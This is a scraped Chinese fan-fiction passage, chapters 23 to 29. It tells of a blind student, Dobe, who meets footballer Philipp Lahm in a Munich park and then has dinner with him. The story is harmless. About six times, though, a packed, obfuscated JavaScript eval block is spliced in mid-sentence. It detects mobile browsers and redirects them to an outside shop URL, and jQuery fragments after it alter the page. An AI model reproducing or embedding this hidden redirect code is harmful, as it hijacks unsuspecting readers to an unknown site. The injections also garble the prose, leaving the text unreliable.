紧接着,纸巾包柔软的一角轻轻碰了碰她的手背。 ……纸巾? 多贝几乎是触电般地抬起头,朝声音来源“看”过去。 一片模糊的光影中,她的大脑在短暂的空白后,后知后觉地炸开一个巨大的、加粗的、闪烁着惊叹号的念头: 这里怎么会有人啊!!! 眼前当然只有模糊的光影,但她的全部感知都集中在了那个声音的来源处。脸上的泪痕还没干,新的危机又让她的表情定格在一种混合着惊愕、尴尬和极度警惕的复杂状态里。 空气安静得可怕。她能听到自己略显急促的呼吸声,还有对方……似乎也没什么动静? 理智慢慢回笼。不管是谁,人家递了纸巾。解决鼻涕危机是第一要务。 “……Danke.(谢谢。)” 她声音有点哑,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326742|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓重的鼻音,干巴巴地吐出这个词。同时,手迅速而准确地抓住了那张纸巾,指尖传来轻薄柔软的真实触感。她几乎是狼狈地将纸巾叠起,背过一点身去,用纸巾飞快捂了一把鼻子,生怕发出什么让人更加尴尬的声音。 生理危机暂时解除,但社交危机已然悄悄降临。 她捏着用过的纸巾,僵在那里。接下来该怎么办? 更重要的是——他到底是谁?在这里多久了?看到了多少? “呃……” 她张了张嘴,却发现嗓子更干了,大脑一片空白。平时那些应对陌生人的、礼貌又保持距离的社交辞令,此刻全都蒸发殆尽。最终,她只能又挤出一句更干涩的: “…Vielen Dank.(……非常感谢。)” 然后,她就把脸埋得更低了些,手里紧紧攥着那张皱巴巴的废纸,好像要把此刻所有的慌乱和无措也都揉进去。心里只有一个念头在尖叫: 求求了,快走吧,不管你是谁,快离开吧!让我一个人在这里尴尬到死就好! 24. 绿眼睛 当多贝抬起头,“望”向他的时候,菲利普的目光也自然而然地落在了她的脸上。 然后,有一个很短的瞬间,他不知道自己为什么没有移开眼睛。 她的脸上还挂着泪,眼眶和鼻子都哭红了,头发乱糟糟地翘着,被泪水沾在脸颊上,或者凌乱地团在颈窝里。这不是一个“好看”的时刻。任何一个人看到此刻的她,大概都会觉得“这个人哭得很狼狈”。 但他就是没有移开目光。 他的视线落在她眼睛上。 罩着一层水壳子的、没有焦点的、绿色的眼睛——绿得像他母亲收藏的一枚古董胸针上的橄榄石。 那对眼睛正朝着他所在的方向,好似“视线”正聚焦在他身上,但他知道她看不见他。 他有一瞬间的晃神,下意识地试图想象,这双眼睛在正常情况下应该是什么样子。大概是亮的,有光的,像阳光穿过树叶的缝隙那种感觉。 这个脱离现实的想象让他迅速回过神来,意识到自己正盯着一个陌生女孩的脸,而对方正因为哭泣和此刻的尴尬处境显得脆弱无比。他感到一阵自责。 “你…”他迟疑着开口,打破了沉默,却发现自己根本不知道接下来该说什么。问“你还好吗?”太蠢了,她显然不好。问“需要帮忙吗?”纸巾已经给了。 啊,又是这个。 多贝心里划过一丝了然,也有一丝习惯性的疲惫。大概又是好奇我的眼睛吧,就像所有第一次注意到的人一样。她熟练地撑起一个轻松又充满活力的微笑,朝着声音的方向,用刻意轻快的语气说: “哦,您是说这个吗?”她用手指轻轻点了点自己的眼角,“是……一场意外啦!” 她准备好了接受对方或同情、或好奇、或尴尬的回应,然后礼貌结束这场偶遇。 “Nein.(不。)” 出乎意料的,这个预设的回答被简洁地否定了。 多贝嘴角那点刻意维持的弧度僵住了。 “Ich meinte…(我是说…)”菲利普几乎在话音出口的同时就想咬住舌头。他不知道自己为什么要追问,这完全越界了,好奇心在此刻显得如此不合时宜,甚至残忍。但他没能阻止自己,那句话还是滑了出来,带着一种近乎执拗的直接: “Warum weinst du?(你为什么哭?)” 多贝彻底愣住了。她准备好解释她的眼睛,却没准备好解释她的眼泪。那层面具般的笑容缓缓从她脸上褪去,露出底下真实的、带着红肿眼眶和无措的空白。 菲利普也立刻闭上了嘴,懊悔感涌了上来。气氛骤然降至冰点,一种比刚才更甚的、近乎凝固的沉默在两人之间蔓延。 太尴尬了。问出这种问题,我真是个白痴。他想。 太尴尬了。被看到哭,还被追问原因。她想。 为什么哭?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326743|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因为今天是个该死的纪念日。 因为我看不见。 因为总是要道歉。 因为一直被怜悯。 因为身上总是摔得很疼。 因为……我只是今天,特别累,特别需要哭一场释放那些糟糕的情绪。 但这些话,她怎么能对一个陌生人说? 但也许是因为已经尴尬到了极致,反而有种破罐破摔的解脱感?也许是因为那包及时雨般的纸巾,确实在她最狼狈时递来了真实的帮助?又或者,那些在她心里积压了数月、潮湿阴冷、无法对亲友言说的情绪,实在需要一个安全的、陌生的、与她的日常生活毫无交集的宣泄口? 总之,在漫长的几秒沉默后,多贝听见自己的声音,用一种她自己都感到陌生的、近乎平静的语气响了起来: “嗯……那是一个有点长的故事了。”她顿了顿,递出一个台阶,尽可能避免两个人都尴尬的局面,“您要听吗?” 菲利普看着她,那缕不听话的头发又翘了起来。 他本该礼貌地拒绝,说“不用了,是我冒昧”,然后转身离开,让彼此都从这尴尬中解脱。 但他听见自己的声音给出了另一个答案。平稳,带着一点他自己没意识到的、愿意停留的耐心: “Vielleicht habe ich gerade ein wenig Zeit.(也许我恰好有点时间。)” 25. 很久很久以前 多贝感觉到身旁的空气中,一个温热的存在坐了下来,就在长椅的另一端——一个让她感到安全的社交距离。这种体贴的疏离让她悄悄舒了一口气,紧绷的神经放松了一丝。 但随即,犯难的情绪涌了上来。一时冲动而产生的倾诉欲被点燃,可该从哪讲起?那些混乱的片段、交织的情感、长达数月的蜕变……她无意识地拽了拽颊边一缕不听话的头发。最后,她几乎是自暴自弃地,选择了一个童话到近乎烂俗的开头: “Es war einmal…(很久很久以前…)” 菲利普有一瞬间几乎要因为这个过于经典、甚至有些孩子气的开头而笑出来。不是嘲笑,而是一种意外的、觉得“这很贴切”的感受。明明他们仍是陌生人,但这个开头从她嘴里说出来,带着一种奇异的、不合时宜的真诚,瞬间消解了残余的尴尬,将气氛拉入了一个更适合讲述的、近乎故事会的频道。他忍住笑意,只是将身体更放松地靠向椅背,目光落在前方摇曳的树影上,做出一个安静的倾听姿态。 于是,在这个慕尼黑五月末的傍晚,在两个人生轨迹都处于微妙转折点的年轻人之间,一个关于“意外”的、潮湿阴翳却又被讲述者刻意烘暖的故事,被轻声分享了出来。 多贝的声音起初有些迟疑,但很快便流畅起来。她讲述了那场改变一切的“意外”,语气平静得像在说别人的事。但她很快将叙述的重点,从意外本身,滑向了之后涌来的爱的洪流:母亲和舅舅从相互指责到抱头痛哭,再到动用一切人脉为她寻找角膜;父亲从德国飞来,抱着她哭得像个孩子,却成了她情感落地的锚点;朋友们轮番的电话轰炸和不着边际的安慰礼物……“他们从不避讳谈论我的眼睛,这很好,” 说到这一点,多贝忍不住真的笑了出来,那笑容里有着真实的感激,“这让我轻松了很多,好像它只是我暂时借来的一副不太方便的眼镜。” 她将最大的篇幅,留给了那个将她从深渊边缘拉回的新方向——格吕恩教授和她的无障碍设计研究。出于职业道德,她没有透露任何项目细节,只是描述着那种“能将亲身痛苦转化为力量”的奇妙感受,以及身处这个领域时的震撼。 她巧妙地略过了那些暗夜里的崩溃、无法视物的恐惧、以及日常中细碎如砂纸般磨损尊严的瞬间。她将故事裁剪、熨帖,使它呈现出一种被爱与机遇包裹的、温馨而柔软的质感。 只是在最后,当夕阳几乎完全沉入地平线,天际只剩下最后一线暖橘色的光时,她的声音变得越来越低,语速也慢了下来。最后几个字,轻得如同叹息,如果不是菲利普听得异常专注,几乎要消散在晚风里: “……但是很偶尔,我确实会…有一点……怨恨。” 话音落下,一片寂静。她似乎被自己终于说出口的这个词吓了一跳,立刻闭上了嘴。 菲利普转过头看向她。 她正“望”着前方虚空中的某一点,脸上的表情不再是讲述时的柔和或轻松,而是一种空白的茫然。紧接着,那茫然之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326744|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,又浮现出一种近乎痛苦的自责 ——仿佛“怨恨”这种情绪本身,就是对她所拥有的爱与支持的背叛,是一种不该存在的、忘恩负义的瑕疵。她的手指无意识地、用力地抠着红蓝怪物背包的织带,指节微微发白。夕阳最后的光线掠过她的侧脸,让她整个人看起来,像一株在骤雨后垂下头颅、花瓣上还挂着沉重水珠的向日葵。 菲利普的喉结轻轻动了一下。他微微垂下视线,落在自己交握的双手上,那双手因为常年训练而骨节分明,此刻却显得有些无措。半晌,他听见自己的声音,以一种他自己都感到惊讶的平稳语调,打破了沉默: “这很正常。” 停下,菲利普。他在心里严厉地警告自己。这已经越界太多了。安慰陌生人不是你的职责,更何况是这种涉及深层情感的话题。 但或许是那株“湿漉漉的向日葵”的样子烙印在了视网膜上,或许是他自己也在职业的十字路口品味着某种难以言说的、对现状的“不甘”,那句话的后半句,还是不受控制地、低低地滑了出来: “有时候……人们得允许自己当一会儿混蛋。” 话一出口,他就有点“绝望”地闭了闭眼。这听起来像什么?一句从三流童话书里扒下来的陈词滥调,还是那种最蹩脚的版本。他简直想立刻站起身离开,为自己这拙劣的、不合时宜的“人生智慧”感到羞愧。他想也许她会露出被冒犯的表情,或者干脆不再说话。 他听到了,一声极其轻微、短促的抽气声。 26. 混蛋许可和晚餐邀请 “有时候……人们得允许自己当一会儿混蛋。” 这听起来像个烂俗老套的童话故事的台词。多贝这么想着。理性上,她应该对这种过于简单直接的“安慰”感到无语,或者至少觉得对方在敷衍。 当一个…混蛋? 这多奇怪呀!她怎么可以当一个混蛋呢?她有那么多的爱——家人、朋友、教授、同事…她怎么能让他们担心、让那些爱被蒙上阴影呢?她怎么舍得让他们再为自己难过? 于是她吞下所有的委屈、不甘、愤怒和怨恨——那是不应该存在的、不应该由爱她的人们承受的东西。 但是现在,一个陌生人,他说——当一个混蛋。 这个词在过去二十三年从未出现过在她的人生里,陌生到近乎荒谬。 但很神奇。 这句话像一颗形状奇怪的小石子,精准地投进了她心里那片积水的洼地,发出“咕咚”一声轻响,意外地让那潭自我谴责的浑水流动了一下。一种陌生的、被“允许”的松弛感蔓延开来。 她噗嗤一声笑了出来。 不是礼貌的微笑,而是压不住的、从喉咙里滚出来的一声气音。紧接着,这笑声就像决了堤,她叽里咕噜、吭哧吭哧地笑成了一团,肩膀抖动着,把脸埋进怀里那个红蓝怪物的“绒毛”里。笑声在空旷的暮色中格外清晰,甚至有点傻气,却冲散了之前所有沉重的水汽。 菲利普被她这突如其来的笑声弄得有些懵,甚至有一丝受伤——他果然说了蠢话。他僵硬地坐着,等待笑声平息,或者一句嘲讽。 多贝终于止住了笑,抬起头,脸上还残留着笑意带来的红晕。她朝着菲利普声音最后传来的大概方向,笑眯眯地、用一种恢复了活力的清脆语调说: “您说得对,我得允许自己当一会儿混蛋。” 她模仿着他的用词,语气里没有讽刺,只有一种如释重负的、甚至带点恶作剧般的认可。 说完,她利落地扶着长椅站起来,摸索着拿起身旁的盲杖,在地上轻轻一点,发出清脆的“嗒”声。 “我肯定耽误了您不少时间,真的非常抱歉。” 她先礼貌地致歉,姿态标准得无可挑剔。然后,话锋一转,笑容更加明亮了些,“为了感谢您耐心的倾听……” 她稍微停顿了一下,仿佛在掂量这个临时起意的念头是否合适,但下一秒,邀请便轻快地抛了出来: “不知道我是否有这个荣幸,邀请您共进晚餐?” 菲利普·拉姆的理智在脑内尖锐地鸣叫。 他今天已经足够越界了。从他听见啜泣声停下脚步开始,递纸巾、追问原因、听一个陌生人的漫长故事、还说出了那种不像他会说的话……每一步都偏离了他为自己划定的、安全而高效的社交轨道。这太不“菲利普”了。 他应该拒绝。必须拒绝。现在,立刻。 他抬起头,看向站在几步之外等待答复的女孩。她还在“望”着,那双漂亮的橄榄石色眼睛的焦点,虚虚地落在他肩膀附近的空气里——因为他没有说话,她无法精确定位。那种带着期待的等待姿态,莫名地让他准备好的拒绝卡在了喉咙里。 我得拒绝。他在心里重复,试图让指令更清晰。 然后,他听见自己的声音,平稳地、甚至带着点认命般的语气,回答道: “当然。如果您不介意的话。” 该死。 “那太好了!” 多贝开心地应道,丝毫没有察觉对方内心的激烈交战。但紧接着,一个非常现实的问题摆在了面前,她有些不好意思地补充,“不过我对这附近不太熟悉……您有什么推荐的餐厅吗?” 菲利普看着眼前这个刚刚还在哭泣、现在却一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326745|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸期待地问他哪里有好吃的餐厅的女孩,感到一种深深的、荒谬的无力感。他已经“破罐子破摔”了。他的嘴再次自作主张地给出了答案,声音里带着一种放弃挣扎后的平静: “…是,我知道一家。” 他顿了顿,目光扫过她手中的盲杖和毫无方向感的姿态,认命般地完成了整个句子,“我带您过去吧。” 说完,他率先从长椅上站起身,拍了拍裤子上并不存在的灰尘,动作间恢复了属于运动员的利落。他走到一个既方便她跟随、又不会显得过于亲近的位置,简单地说: “不远。请跟我来。” 于是,在奥林匹克公园渐浓的暮色与初亮的路灯下,出现了一幅有些奇异的画面: 一个身材精悍、穿着简洁运动服的年轻男人走在前面,步伐不快,偶尔会停顿一下,似乎在确认身后的人是否跟上。 一个高挑的、背着夸张红蓝怪物背包的盲人女孩,握着白色的盲杖,以稳定而信任的节奏跟在他身后几步远的地方。她的脸上还残留着一点点哭过的痕迹,但嘴角却噙着一抹轻松的、甚至有点期待的笑意。 他们没有交谈。只有脚步声、盲杖轻点地面的“嗒嗒”声,和晚风吹过树梢的沙沙声。 菲利普目不斜视地看着前方的路,但感官调动起来,留意着身后那个轻巧却坚定的跟随者的动静。他想,这大概是他人生中做过最冲动、最不符合逻辑的决定之一。 而多贝,跟在那个平稳的脚步声和偶尔简短的提示(“这里有个小台阶。”)后面,心里则充满了对一顿意外晚餐的好奇和期待。 两条原本平行的向量,在命运一次轻微的拨弄后,此刻似乎正被一股无形的力量,牵引着走向同一个未知的坐标。 而这一切,都始于一句“有时候,人们得允许自己做个坏蛋”和一张自作主张的嘴。 27. 入门课 这家巴伐利亚风格的小餐馆暖气充足,空气里弥漫着烤猪肘的焦香和啤酒的甜味。偶尔训练结束的比较早,菲利普会和奥特尔、施韦因斯泰格他们来这里消磨一会儿时间。 他坐在老位置上,看向对面。 对面的女孩——她问了菲利普有什么推荐,然后爽快地决定尝试——在点完菜后,仿佛被按下了什么开关,笑容明亮,话语像一串断了线被突然提起的珠子,噼里啪啦、迫不及待地全都滚落下来: “多纳贝德·魏丝,我的名字。23岁,我在慕尼黑工业大学建筑系学习公共空间设计。我的家人朋友通常叫我多贝——您可以叫我多纳贝德或多贝,但我更希望您叫我多贝!您呢?您叫什么?在哪上学吗?” 菲利普几乎没有插嘴的余地,只能等她一口气说完。她说完后似乎意识到自己话太密了,有点不好意思地笑了笑,揪了揪颊边散落的一缕头发:“哦抱歉,我好像有点太激动了!希望没有冒犯到您。” “并没有。” 菲利普摇了摇头,“您不用道歉。” 他犹豫了一下,按照她提供的格式给出了回答:“我叫……菲利普·拉姆。19岁。” “哦!您比我小好多呢!真没想到!”她声音里满是惊讶,好像他的年龄是什么很奇怪的东西一样。 菲利普轻微动了动,感觉有点不自在,他不知道怎么回复她的感叹,干脆直接跳过进入下一个话题:“我……踢足球。” “踢球?” 多贝的声音扬起,好奇像一束突然穿透云层的阳光,毫无遮拦地投射过来。她身体微微前倾,“真的吗?职业的?” “嗯。” 他没有多说,只是点了点头,随即想起她看不见,又补了一个轻声的确认。 他看着多贝的脸。她似乎在沉思,眉头微蹙,嘴唇抿着,一副“我好像知道点什么”的表情。这让他稍微有些惊讶,甚至升起一丝微弱的期待——也许她并非完全不了解?也许她听说过…他的名字? 然后,多贝抬起头,用一种宣布重大发现般的、斩钉截铁的语气说: “完全不了解!” 期待像肥皂泡一样无声破灭。 然后,她双手托腮,身体微微前倾,脸上重新绽放出那种笑眯眯的、充满探索欲的表情:“您愿意给我讲讲吗?”。她的问题直白得可爱,“比如,您在哪里踢?” 菲利普发现自己拒绝不了。 那双无知却盛满求知欲的眼睛,那副毫不作伪的倾听姿态,还有她自己刚刚袒露的脆弱……这一切构成了一种奇特的压力,让他无法用一句“没什么好讲的”搪塞过去。 他干脆抛掉了大脑里那些关于“该说什么不该说什么”的权衡,拿起餐巾纸,又放下——这里不需要“战术板”,开始给这位对足球世界的认知还停留在“22个人追一个球,谁踢进去多谁赢”的绝对门外汉,进行一场前所未有的基础科普。 从俱乐部的悠久历史(略过那些复杂的恩怨),到德国联赛的基本赛制(甲乙丙,升级降级,像某种残酷又公平的楼梯),再到德甲那些重要的“经典之战”(他谨慎地避免使用“德比”这类可能引发更多问题的术语)。偶尔穿插一两个俱乐部流传的、不涉及更衣室秘密和战术核心的趣事——比如某个前辈在训练基地迷路的陈年笑话,或者吉祥物Berni的蠢萌行为。他不确定这些对她来说是否算“好玩”,但他尽力了。 而多贝的问题,则像蒲公英的种子,随着他的讲解不断飘散出来,在各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326746|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他措手不及的地方落地生根: “那有没有像……学期假一样的东西?还是永远都在训练?” “…不,不是永远。有季前准备期、比赛期、休赛期,休赛期没有训练,不过也要保持状态。” “如果受伤了,还必须得去现场看比赛吗?” “…通常要,为了保持团队感和战术学习。是的。” “进球后的庆祝动作是规定的吗?还是大家随便做?有没有人庆祝的时候摔倒过?那会不会很尴尬?” “…大部分是即兴。摔倒……嗯,有过。是尴尬。” “最重要的比赛赢了的话,奖杯重不重?捧起来的时候会不会摔?” “…荣誉更重要。……重是重,但捧的时候通常感觉不到。有摔过的,那算庆祝事故了。” 问题远不止这些,但大体都是这样纯净得近乎“愚蠢”、却又让他不得不认真思考才能回答的“门外汉之问”。 在回答这些问题的间隙,烤鳟鱼和沙拉被端了上来。多贝的注意力立刻被香气吸引,发出小小的赞叹声。她摸索着刀叉,动作稍慢但准确。菲利普下意识地放慢了自己的进食速度,偶尔在她需要时,提示一下酱汁或沙拉碗的位置。 餐馆里的吊灯散发着柔和的黄色光晕。菲利普从没想过自己有一天会成为某个人的“足球启蒙老师”。而抛开那些复杂的战术和职业压力,仅仅描述这个运动最基本的样子,竟让他感到一种奇特的温馨。 菲利普看着多贝举着叉子艰难地和土豆沙拉搏斗,叉子贴着土豆精准地戳中空气,敲在碗底发出嗒嗒声。 “嘿!”她发出小声的抗议。 菲利普低下头,轻轻拨了两下自己碗底的沙拉。 28. 告别 这大概是菲利普·拉姆记忆里吃过的最“吵闹”的一顿饭。 但这种“吵闹”并非令人烦躁的噪音。它源自对面那个名叫多贝的女孩。她的话语嘀嘀咕咕、叽叽喳喳地从她带着笑意的嘴唇里蹦出来,跳跃着,滚进菲利普的耳朵里,带来一种细微的、陌生的痒意。 她的思维跳跃堪比她那些荧光色怪物背包的造型,毫无预兆,却又自成一派逻辑: 从餐馆的黑麦面包,切换到她对普利莫斯特奶酪蛋糕的狂热:“简直太——棒——了!” 她故意拖长音节,仿佛不这样就不足以表达那份咸香浓郁在味蕾上炸开的幸福感。 从“认识你很高兴”的社交辞令,无缝连接到她的朋友们——行动力超强、热爱浪漫故事的莉娜;嘴毒心细、像个精致易碎艺术品的马克斯;还有沉稳靠谱、但也能接住所有地狱笑话的托马斯。 从那些关于足球的、令人哭笑不得的问题,忽然跳到一句轻快的展望:“我真希望以后能有机会去现场看您比赛!” 这句话让拉姆握着叉子的手几不可察地顿了一下。他下意识地紧张了一瞬——“观看”这一词本就触及她自身的缺憾。 但多贝说这话时语气自然,带着纯粹的期待,仿佛只是在讨论“明天早饭吃什么”。她显然不认为提到“看”比赛,对她失明的眼睛而言是什么需要避讳的伤心事。这种坦荡,让他那点紧张悄无声息地消散了。 菲利普大部分时间都在安静地听,像一片平静的湖面,接纳着这些跳跃的、闪着光的溪流。只在适当的间隙,简单地回答她的问题,或给出一个简短的评论。 这感觉很奇怪。非常奇怪。 从在公园停下脚步开始,到今天这顿计划外的晚餐,再到此刻坐在这里,被动又主动地接收着这个名叫多贝的女孩倾泻而出的、色彩斑斓的言语风暴……今天发生的一切,都太不“菲利普”了。 他想着,目光落在对面——多贝正兴致勃勃地尝试着他推荐的那份清汤,小心地吹气,然后满足地喝下一勺,眼睛因为品尝到合意的味道而微微弯起。窗边暖黄的灯光落在她脸上,勾勒出柔和的轮廓,那双没有焦距的绿色眼睛里,也仿佛盛着一点温暖的光晕。 他又垂下眼,用叉子拨弄着自己盘子里那些鲜绿的沙拉叶子,机械地送入口中。味道一如既往,健康,符合要求。 ……但是,感觉并不讨厌。 这个结论清晰地浮现在他脑海里。没有不耐烦,没有想要尽快结束的焦躁,甚至没有平时在非必要社交中那种隐约的疲惫。只是平静地坐着,吃着简单的食物,听着一个活泼的声音讲述着一个与他截然不同、却莫名生动的世界。 他仅仅是一个叫菲利普的、话不多的倾听者,而对方是一个叫多纳贝德的、话很多的讲述者。 盘子渐渐空了。多贝也终于放下了餐具,心满意足地叹了口气,然后有点不好意思地拽了拽头发:“哎呀,我是不是又说太多了?” 即便知道她看不见,菲利普还是下意识摇了摇头:“没有。挺……有意思的。” 服务生送来了账单。菲利普自然地伸手去接:“谢谢,给我吧。” “不,不!”多贝立刻抗议,手在空气中探寻着,“是我邀请的!请让我来付,这是我的感谢晚餐!” 她的语气坚决,带着一种不容置疑的认真。 菲利普看着她急切的样子,犹豫了一下,没有坚持。“谢谢。”他最终说道,将账单递给她。 “不客气!”多贝为自己成功捍卫了“感谢”的主动权开心。她摸索着从“莫提玛”里拿出钱包,动作熟练地辨认纸币。 结账,起身,穿上外套。夜晚的凉意透过门缝渗进来。 他们并肩走出餐馆,路灯将两人的影子拉长。 他们站在地铁站内,明亮的灯光下,换乘的人流已变得稀疏。 多贝转过身,笑眯眯地“望”向菲利普——她的目光仍然习惯性地聚焦在他发声的嘴部附近,微微偏头,这是一个失明后形成的、表示专注倾听的微小姿态。 “今天真的非常感谢你,菲利普!我非常、非常、非常高兴能认识你!” 她连用了三个“非常”来强调,声音里充满了毫无保留的阳光般的热意。 菲利普看着她在站台灯光的映照下亮晶晶的、没有焦距却盛满笑意的绿色眼睛,他不太习惯如此直白的情感表达,但那份快乐如此具有感染力,以至于他无法用惯常的简洁来回应。 “…我也是。” 他最终说道,似乎是为了完成某种仪式,或者仅仅是遵从内心的某种冲动,他迟疑了一下,还是选择叫出了那个她更喜欢的名字:“再见,多贝。” 他看见对面女孩嘴角的笑意随着这个称呼愈发明显。 “再见再见再见,菲利普!” 她欢快地挥舞着空闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326747|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那只胳膊,手腕上细条条的银线手链随着她的动作像只鸟儿在腕间来回扑腾,盲杖轻轻点地,跟着人流踏上了开往马克斯沃施塔特方向的列车。那个红蓝色的怪物背包在她身侧随着步伐轻轻晃动,像一只陪伴她奔赴下一段冒险的忠实小兽。 菲利普站在原地,目送着那节载着她的车厢滑入隧道深处,直至完全消失。站台重新变得空旷,只有列车离去的风声在回荡。他这才长长地、无声地吐出一口气。 他掏出手机,屏幕在昏暗的站台光线下亮起。指尖滑动,聊天软件里,最新的一个联系人备注是 “多纳贝德·魏丝”。 他点开聊天窗口,光标在空白输入栏闪烁。指尖悬停了几秒,理性告诉他这多余且越界,但某种更模糊的责任感——或许源于某种共鸣,或许只是最基本的礼貌—— 他最终低下头,快速敲下一行字: “到家后请告诉我。” 点击发送。然后他迅速锁屏,将手机塞回口袋,仿佛这样就能把那一丝不自在也关进去。他转身,迈步,登上了开往盖恩的回家列车。车厢里熟悉的轻微摇晃和噪音包裹了他,试图将他拉回那个规律、可控的日常世界。 而在马克斯沃施塔特的公寓里,晚些时候,多贝进门,还没来得及脱下外套,就已经熟练地解锁手机处理那些收到但还没来得及回复的消息,辅助软件通过耳机,用清晰的电子合成女声念出了那条新信息。 多贝的脸上立刻漾开了一个快乐的笑容。她快速用语音输入回复: “我到家啦!” 语气轻快。 然后,她朝着客厅里正在看书或捣鼓电脑的莉娜、马克斯和托马斯的方向,提高声音宣布: “嘿!我今天认识了一个新朋友!” 她不会,也绝不可能向莉娜、马克斯或托马斯透露下午在公园发生的一切。但结识新朋友的快乐,是可以分享的。 “他年纪稍微小点,但感觉可靠又认真!” 她兴致勃勃地概括,语气轻快,将菲利普·拉姆稳妥地安放进了她情感世界那个名为 “有趣的新朋友” 的格子间里。那里已经有不少收藏,而今天,又多了一件来自足球世界的、沉静而特别的“新品”。 朋友们对她旺盛的社交能量早已习惯,笑着打趣了几句,便又回到了自己的事情中。 在城市另一端的盖恩,菲利普的手机屏幕亮了一下,又暗下去。 29. 假期和问题 接下来是一段接近两周的“假期”。第一阶段的痛点诊断已圆满收官,施工组进场进行原型机的简易铺设,随后将由大量盲人志愿者进行初期适配测试。多贝的工作暂时从“侦察兵”转为“分析员”,真正的实地测试,要等到报告出炉后才会再次启动。 这意味着,她终于可以暂时告别每周一、二、三雷打不动的Scheidplatz站台日程。 周一上午,马克斯沃施塔特公寓。 多贝已经很久没在工作日的上午赖过床了。她摸索着按亮手机,语音播报传来:“上午九点四十三分。” “啊——”她满足地长叹一声,把自己更深地埋进蓬松的枕头里,伸了一个猫一样绵长的懒腰,每一根骨头仿佛都在喟叹,“这才是人过的日子啊……” 感慨完毕,她才慢悠悠地把自己从床上拔起来,像一缕游魂般飘出房间,朝着餐厅的方向飞过去。在四人组里,唯一掌握厨房大权的是看起来最不食人间烟火的马克斯。至于多贝、莉娜和托马斯?马克斯对他们的最高要求就是:别动,别碰,别炸了厨房。 菲利普·拉姆坐在驶向Scheidplatz的U2地铁上,车厢微微摇晃。下一站就是换乘点。他罕见地没有思考关于足球的相关问题,思绪像不受控的飞鸟,绕了几圈,最后落在那个名字上——多纳贝德。 她今天会在吗?这个念头自然而然地浮现。 我要不要……打个招呼? 这个想法让他自己都愣了一下。从奥林匹克公园那晚之后,已经过去了一段时间。他们没有再联系。那条“到家了吗”和“我到家啦”的对话,静静地躺在手机里,再没有后续。 不,还是算了。 除了根深蒂固的边界感在拉响警报,还有一个更具体、更让人尴尬的现实:现在过去“相认”,到底该说什么? 难道要直接走过去,拍拍她的肩说:“嘿,你也在这儿?好巧,我也走这条路通勤。” 那她一定会疑惑:“你之前也走这条路?那你岂不是早就见过我,那在奥林匹克公园的时候,你干嘛装成陌生人?” 在对方明显陷入情绪漩涡的情况下挑明“其实我不是陌生人,我天天在地铁站看见你”这件事,在菲利普看来,是比装作陌生人更尴尬、更不合时宜的事情。 